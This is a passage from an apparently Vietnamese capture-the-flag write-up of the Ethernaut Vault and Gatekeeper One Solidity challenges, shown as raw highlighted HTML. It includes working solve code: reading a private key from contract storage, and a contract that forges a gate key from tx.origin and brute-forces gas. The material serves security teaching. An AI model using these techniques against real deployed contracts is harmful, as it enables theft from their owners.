&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_key&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">bytes16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">locked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> A bunch of super advanced solidity algorithms...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> ,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> .,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> *.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^ ,---/V\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> `*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*. ~|__(o.o)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> ^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39;^`*.,*&amp;#39; UU UU
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta chú ý rằng ta có thể xem dữ liệu ở slot bất kì trong storage của contract bằng hàm &lt;code>web3.eth.getStorageAt&lt;/code> trong &lt;code>web3js&lt;/code>. Nhưng việc xem ở slot nào mới là điều ta quan tâm.&lt;/p>
&lt;p>Các tính chất cơ bản của storage được lưu tại &lt;a href="https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html">đây&lt;/a>&lt;/p>
&lt;p>Mỗi slot trong storage của solidity có độ lớn là 32 bytes (tương ứng với 256 bits). Solidity sẽ tối ưu việc lưu data vào storage, tức là mỗi biến sẽ được cung cấp một vùng nhớ vừa đủ để lưu, tùy thuộc vào kiểu dữ liệu. Ở trong contract này, ta sẽ có&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">locked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// slot 0
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// slot 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">uint8&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">flattening&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// slot 2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">uint8&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">denomination&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">255&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">//slot 2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">uint16&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">awkwardness&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">// slot 2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">bytes32&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// slot 3, 4, 5
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Do &lt;code>_key == bytes16(data[2])&lt;/code>, nên ta chỉ cần lấy dữ liệu tại slot 5, rồi convert sang bytes16 là được. Khi convert từ bytes32 sange bytes16, ta lấy 16 bytes đầu của bytes32 là được&lt;/p>
&lt;p>Để rõ hơn về cách convert các bạn xem tại &lt;a href="https://medium.com/coinmonks/solidity-variables-storage-type-conversions-and-accessing-private-variables-c59b4484c183">https://medium.com/coinmonks/solidity-variables-storage-type-conversions-and-accessing-private-variables-c59b4484c183&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">web3&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">eth&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">getStorageAt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">instance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//0xa9cf03d7e73fb140b5fe3ef4864a429a80f4db0e7c3b91979d58092e6a7bfa31
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">unlock&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;0xa9cf03d7e73fb140b5fe3ef4864a429a&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Không có gì là private trong solidity blockchain&lt;/li>
&lt;li>Ethernaut có đề xuất 1 bài về cách đọc data trong storage slot &lt;a href="https://medium.com/@dariusdev/how-to-read-ethereum-contract-storage-44252c8af925">https://medium.com/@dariusdev/how-to-read-ethereum-contract-storage-44252c8af925&lt;/a>&lt;/li>
&lt;li>Sẽ ra sao nếu array trong bài là dynamic array ? &lt;a href="https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html#mappings-and-dynamic-arrays">https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html#mappings-and-dynamic-arrays&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="gatekeeper-one">Gatekeeper One&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">GatekeeperOne&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">entrant&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateOne&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateTwo&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">gasleft&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">8191&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part one&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part two&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint160&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part three&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">enter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">gateOne&lt;/span> &lt;span class="n">gateTwo&lt;/span> &lt;span class="n">gateThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">entrant&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Ta cần vượt qua 3 điều kiện &lt;code>gateOne&lt;/code>, &lt;code>gateTwo&lt;/code> và &lt;code>gateThree&lt;/code> để có thể thay đổi địa chỉ của &lt;code>entrant&lt;/code>&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Với &lt;code>gateOne&lt;/code>, ta chỉ cần gọi server contract thông qua một contract khác là được. Chú ý rằng &lt;code>tx.origin&lt;/code> có giá trị là địa chỉ đã tạo ra contract (vì vậy giá trị này không thay đổi), còn &lt;code>msg.sender&lt;/code> có giá trị là địa chỉ người gửi hoặc địa chỉ đã tương tác với server contract (vì vậy có thể thay đổi)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Với &lt;code>gateTwo&lt;/code>, ta sẽ sử dụng hàm &lt;code>address(instanceAddress).call{gas: ?}(abi.encodeWithSignature(&amp;quot;enter(bytes8)&amp;quot;, key))&lt;/code>. Ở đây, ta sử dụng hàm &lt;code>call&lt;/code> để kiểm soát số lượng gas sử dụng sao cho &lt;code>gasleft() % 8191 = 0&lt;/code>. Ta sẽ gọi hàm &lt;code>enter()&lt;/code> ở server contract với key mà ta tìm được ở dưới&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Với &lt;code>gateThree&lt;/code>, từ các điều kiện ta có thể suy luận như sau:&lt;/p>
&lt;ul>
&lt;li>2 bytes đầu của key giống như 2 bytes đầu của &lt;code>tx.Origin&lt;/code>&lt;/li>
&lt;li>2 bytes tiếp theo là null bytes (để đảm bảo điều kiện &lt;code>uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)&lt;/code>)&lt;/li>
&lt;li>4 bytes cuối là 4 bytes bất kì&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Từ các điều kiện trên, ta có thể dễ dàng gen ra key thỏa mãn&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/gatekeeper.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">GatekeeperOne&lt;/span> &lt;span class="n">IGatekeeperOne&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes2&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">txOrigin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">Key&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">cnt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGatekeeperOne&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GatekeeperOne&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">findKey&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">txOrigin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">bytes2&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint160&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">concat&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">bytes&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">concat&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0xdeadbeef&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="kt">bytes2&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x0000&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">txOrigin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">concat&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">check&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">checkKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span>&lt;span class="p">{&lt;/span> &lt;span class="c1">//Hàm này để check xem key tìm được có thỏa mãn không
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">checkKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">checkKey&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part one&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">checkKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">checkKey&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part two&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint32&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">checkKey&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint160&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="s">&amp;#34;GatekeeperOne: invalid gateThree part three&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getGasleft&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nb">gasleft&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">exp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">realKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint16&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">1000&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IGatekeeperOne&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">call&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">gas&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">8191&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)}(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;enter(bytes8)&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">realKey&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="gatekeeper-2">Gatekeeper 2&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
